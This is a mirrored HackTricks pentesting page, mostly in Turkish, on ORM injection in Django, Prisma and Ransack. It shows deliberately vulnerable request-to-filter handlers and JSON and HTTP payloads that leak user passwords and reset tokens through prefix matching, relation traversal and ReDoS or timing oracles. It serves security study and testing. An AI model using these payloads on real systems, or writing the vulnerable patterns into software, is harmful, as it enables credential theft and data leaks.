mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
335 lines
12 KiB
Markdown
335 lines
12 KiB
Markdown
|
# ORM Injection
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## Django ORM (Python)
|
|||
|
|
|||
|
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) nasıl bir Django ORM'nin, örneğin aşağıdaki gibi bir kod kullanılarak savunmasız hale getirilebileceği açıklanmaktadır:
|
|||
|
|
|||
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
|||
|
"""
|
|||
|
Kullanıcıların makaleleri aramak için istek gönderdiği bazı temel API görünümü
|
|||
|
"""
|
|||
|
def post(self, request: Request, format=None):
|
|||
|
try:
|
|||
|
<strong> articles = Article.objects.filter(**request.data)
|
|||
|
</strong> serializer = ArticleSerializer(articles, many=True)
|
|||
|
except Exception as e:
|
|||
|
return Response([])
|
|||
|
return Response(serializer.data)
|
|||
|
</code></pre>
|
|||
|
|
|||
|
Tüm request.data'nın (bu bir json olacaktır) doğrudan **veritabanından nesneleri filtrelemek için** geçirildiğine dikkat edin. Bir saldırgan, beklenenden daha fazla veri sızdırmak için beklenmedik filtreler gönderebilir.
|
|||
|
|
|||
|
Örnekler:
|
|||
|
|
|||
|
* **Giriş:** Basit bir girişte, içindeki kayıtlı kullanıcıların şifrelerini sızdırmaya çalışın.
|
|||
|
```json
|
|||
|
{
|
|||
|
"username": "admin",
|
|||
|
"password_startswith":"a"
|
|||
|
}
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
Şifreyi brute-force ile kırmak, sızdırılana kadar mümkündür.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **İlişkisel filtreleme**: İşlemde kullanılacağı bile beklenmeyen sütunlardan bilgi sızdırmak için ilişkileri geçmek mümkündür. Örneğin, bu ilişkilerle bir kullanıcı tarafından oluşturulan makaleleri sızdırmak mümkünse: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
|||
|
```json
|
|||
|
{
|
|||
|
"created_by__user__password__contains":"pass"
|
|||
|
}
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
Tüm makale oluşturmuş kullanıcıların şifrelerini bulmak mümkündür.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Çoktan çoğa ilişkisel filtreleme**: Önceki örnekte, makale oluşturmamış kullanıcıların şifrelerini bulamadık. Ancak, diğer ilişkileri takip ederek bu mümkündür. Örneğin: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
|||
|
```json
|
|||
|
{
|
|||
|
"created_by__departments__employees__user_startswith":"admi"
|
|||
|
}
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
Bu durumda, makaleler oluşturan kullanıcıların departmanlarındaki tüm kullanıcıları bulabiliriz ve ardından şifrelerini sızdırabiliriz (önceki json'da yalnızca kullanıcı adlarını sızdırıyoruz ama daha sonra şifreleri sızdırmak mümkün).
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Django Grup ve İzinlerinin kullanıcılarla olan çoktan çoğa ilişkilerini kötüye kullanma**: Ayrıca, AbstractUser modeli Django'da kullanıcıları oluşturmak için kullanılır ve varsayılan olarak bu modelin **İzin ve Grup tablolarıyla bazı çoktan çoğa ilişkileri** vardır. Bu, temelde **aynı grupta bulunan veya aynı izni paylaşan bir kullanıcıdan diğer kullanıcılara erişmenin varsayılan yoludur**.
|
|||
|
```bash
|
|||
|
# By users in the same group
|
|||
|
created_by__user__groups__user__password
|
|||
|
|
|||
|
# By users with the same permission
|
|||
|
created_by__user__user_permissions__user__password
|
|||
|
```
|
|||
|
* **Filtre kısıtlamalarını atlama**: Aynı blog yazısı, `articles = Article.objects.filter(is_secret=False, **request.data)` gibi bazı filtrelerin kullanımını atlamayı önerdi. is\_secret=True olan makaleleri dökme olasılığı vardır çünkü bir ilişkiden Article tablosuna geri dönebiliriz ve gizli makaleleri gizli olmayan makalelerden sızdırabiliriz çünkü sonuçlar birleştirilmiştir ve is\_secret alanı gizli olmayan makalede kontrol edilirken veri gizli makaleden sızdırılmaktadır.
|
|||
|
```bash
|
|||
|
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
İlişkileri kötüye kullanarak, gösterilen verileri korumak için tasarlanmış filtreleri bile atlatmak mümkündür.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Hata/Zaman bazlı ReDoS ile**: Önceki örneklerde, filtrelemenin çalışıp çalışmadığına göre farklı yanıtlar alınması bekleniyordu ve bu, oracle olarak kullanılacaktı. Ancak, veritabanında bazı işlemler yapıldığında yanıtın her zaman aynı olması mümkün olabilir. Bu senaryoda, yeni bir oracle elde etmek için veritabanı hatası oluşturmak mümkün olabilir.
|
|||
|
```json
|
|||
|
// Non matching password
|
|||
|
{
|
|||
|
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
|||
|
}
|
|||
|
|
|||
|
// ReDoS matching password (will show some error in the response or check the time)
|
|||
|
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
|||
|
```
|
|||
|
Aynı gönderiden bu vektörle ilgili:
|
|||
|
|
|||
|
* **SQLite**: Varsayılan olarak bir regexp operatörüne sahip değildir (üçüncü taraf bir uzantının yüklenmesi gerekir)
|
|||
|
* **PostgreSQL**: Varsayılan bir regex zaman aşımına sahip değildir ve geri izlemeye daha az eğilimlidir
|
|||
|
* **MariaDB**: Bir regex zaman aşımına sahip değildir
|
|||
|
|
|||
|
## Prisma ORM (NodeJS)
|
|||
|
|
|||
|
Aşağıdakiler [**bu gönderiden çıkarılan ipuçlarıdır**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
|||
|
|
|||
|
* **Tam bulma kontrolü**:
|
|||
|
|
|||
|
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
|||
|
|
|||
|
app.use(express.json());
|
|||
|
|
|||
|
app.post('/articles/verybad', async (req, res) => {
|
|||
|
try {
|
|||
|
// Saldırganın tüm prisma seçenekleri üzerinde tam kontrolü vardır
|
|||
|
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
|||
|
</strong> res.json(posts);
|
|||
|
} catch (error) {
|
|||
|
res.json([]);
|
|||
|
}
|
|||
|
});
|
|||
|
</code></pre>
|
|||
|
|
|||
|
Tüm javascript gövdesinin sorgular gerçekleştirmek için prisma'ya geçirildiği görülebilir.
|
|||
|
|
|||
|
Orijinal gönderideki örnekte, bu, birisi tarafından oluşturulan tüm gönderileri kontrol eder (her gönderi birisi tarafından oluşturulur) ve o kişinin kullanıcı bilgilerini (kullanıcı adı, şifre...) de döndürür.
|
|||
|
```json
|
|||
|
{
|
|||
|
"filter": {
|
|||
|
"include": {
|
|||
|
"createdBy": true
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// Response
|
|||
|
[
|
|||
|
{
|
|||
|
"id": 1,
|
|||
|
"title": "Buy Our Essential Oils",
|
|||
|
"body": "They are very healthy to drink",
|
|||
|
"published": true,
|
|||
|
"createdById": 1,
|
|||
|
"createdBy": {
|
|||
|
"email": "karen@example.com",
|
|||
|
"id": 1,
|
|||
|
"isAdmin": false,
|
|||
|
"name": "karen",
|
|||
|
"password": "super secret passphrase",
|
|||
|
"resetToken": "2eed5e80da4b7491"
|
|||
|
}
|
|||
|
},
|
|||
|
...
|
|||
|
]
|
|||
|
```
|
|||
|
Aşağıdaki, bir şifreye sahip olan birinin oluşturduğu tüm gönderileri seçer ve şifreyi döndürecektir:
|
|||
|
```json
|
|||
|
{
|
|||
|
"filter": {
|
|||
|
"select": {
|
|||
|
"createdBy": {
|
|||
|
"select": {
|
|||
|
"password": true
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// Response
|
|||
|
[
|
|||
|
{
|
|||
|
"createdBy": {
|
|||
|
"password": "super secret passphrase"
|
|||
|
}
|
|||
|
},
|
|||
|
...
|
|||
|
]
|
|||
|
```
|
|||
|
* **Tam where ifadesi kontrolü**:
|
|||
|
|
|||
|
Saldırının `where` ifadesini kontrol edebileceği duruma bir göz atalım:
|
|||
|
|
|||
|
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
|||
|
try {
|
|||
|
const posts = await prisma.article.findMany({
|
|||
|
<strong> where: req.query.filter as any // ORM Leak'lerine karşı savunmasız
|
|||
|
</strong> })
|
|||
|
res.json(posts);
|
|||
|
} catch (error) {
|
|||
|
res.json([]);
|
|||
|
}
|
|||
|
});
|
|||
|
</code></pre>
|
|||
|
|
|||
|
Kullanıcıların şifrelerini doğrudan filtrelemek mümkündür:
|
|||
|
```javascript
|
|||
|
await prisma.article.findMany({
|
|||
|
where: {
|
|||
|
createdBy: {
|
|||
|
password: {
|
|||
|
startsWith: "pas"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
})
|
|||
|
```
|
|||
|
{% hint style="danger" %}
|
|||
|
`startsWith` gibi işlemler kullanarak bilgi sızdırmak mümkündür. 
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
* **Çoktan çoğa ilişkisel filtreleme ile filtrelemeyi atlama:** 
|
|||
|
```javascript
|
|||
|
app.post('/articles', async (req, res) => {
|
|||
|
try {
|
|||
|
const query = req.body.query;
|
|||
|
query.published = true;
|
|||
|
const posts = await prisma.article.findMany({ where: query })
|
|||
|
res.json(posts);
|
|||
|
} catch (error) {
|
|||
|
res.json([]);
|
|||
|
}
|
|||
|
});
|
|||
|
```
|
|||
|
`Category` -\[\*..\*]-> `Article` arasındaki çoktan çoğa ilişkileri kullanarak yayımlanmamış makaleleri sızdırmak mümkündür:
|
|||
|
```json
|
|||
|
{
|
|||
|
"query": {
|
|||
|
"categories": {
|
|||
|
"some": {
|
|||
|
"articles": {
|
|||
|
"some": {
|
|||
|
"published": false,
|
|||
|
"{articleFieldToLeak}": {
|
|||
|
"startsWith": "{testStartsWith}"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
Aynı zamanda bazı döngüsel çoktan çoğa ilişkileri kötüye kullanarak tüm kullanıcıları sızdırmak da mümkündür:
|
|||
|
```json
|
|||
|
{
|
|||
|
"query": {
|
|||
|
"createdBy": {
|
|||
|
"departments": {
|
|||
|
"some": {
|
|||
|
"employees": {
|
|||
|
"some": {
|
|||
|
"departments": {
|
|||
|
"some": {
|
|||
|
"employees": {
|
|||
|
"some": {
|
|||
|
"departments": {
|
|||
|
"some": {
|
|||
|
"employees": {
|
|||
|
"some": {
|
|||
|
"{fieldToLeak}": {
|
|||
|
"startsWith": "{testStartsWith}"
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
* **Hata/Zamanlı sorgular**: Orijinal yazıda, zaman tabanlı bir yük ile bilgi sızdırmak için optimal yükü bulmak amacıyla gerçekleştirilen çok kapsamlı bir test setini okuyabilirsiniz. Bu şudur:
|
|||
|
```json
|
|||
|
{
|
|||
|
"OR": [
|
|||
|
{
|
|||
|
"NOT": {ORM_LEAK}
|
|||
|
},
|
|||
|
{CONTAINS_LIST}
|
|||
|
]
|
|||
|
}
|
|||
|
```
|
|||
|
Where the `{CONTAINS_LIST}` is a list with 1000 strings to make sure the **yanıtın doğru leak bulunduğunda geciktiğinden emin olmak için.**
|
|||
|
|
|||
|
## **Ransack (Ruby)**
|
|||
|
|
|||
|
These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
**Ransack 4.0.0.0'ın artık aranabilir nitelikler ve ilişkiler için açık bir izin listesi kullanımını zorunlu kıldığını unutmayın.**
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
**Zayıf örnek:**
|
|||
|
```ruby
|
|||
|
def index
|
|||
|
@q = Post.ransack(params[:q])
|
|||
|
@posts = @q.result(distinct: true)
|
|||
|
end
|
|||
|
```
|
|||
|
Not edin ki sorgu, saldırgan tarafından gönderilen parametrelerle tanımlanacaktır. Örneğin, sıfırlama token'ını brute-force yapmak mümkün oldu:
|
|||
|
```http
|
|||
|
GET /posts?q[user_reset_password_token_start]=0
|
|||
|
GET /posts?q[user_reset_password_token_start]=1
|
|||
|
...
|
|||
|
```
|
|||
|
Brute-forcing ve potansiyel ilişkilerle, bir veritabanından daha fazla veri sızdırmak mümkün oldu.
|
|||
|
|
|||
|
## References
|
|||
|
|
|||
|
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
|||
|
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
|||
|
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|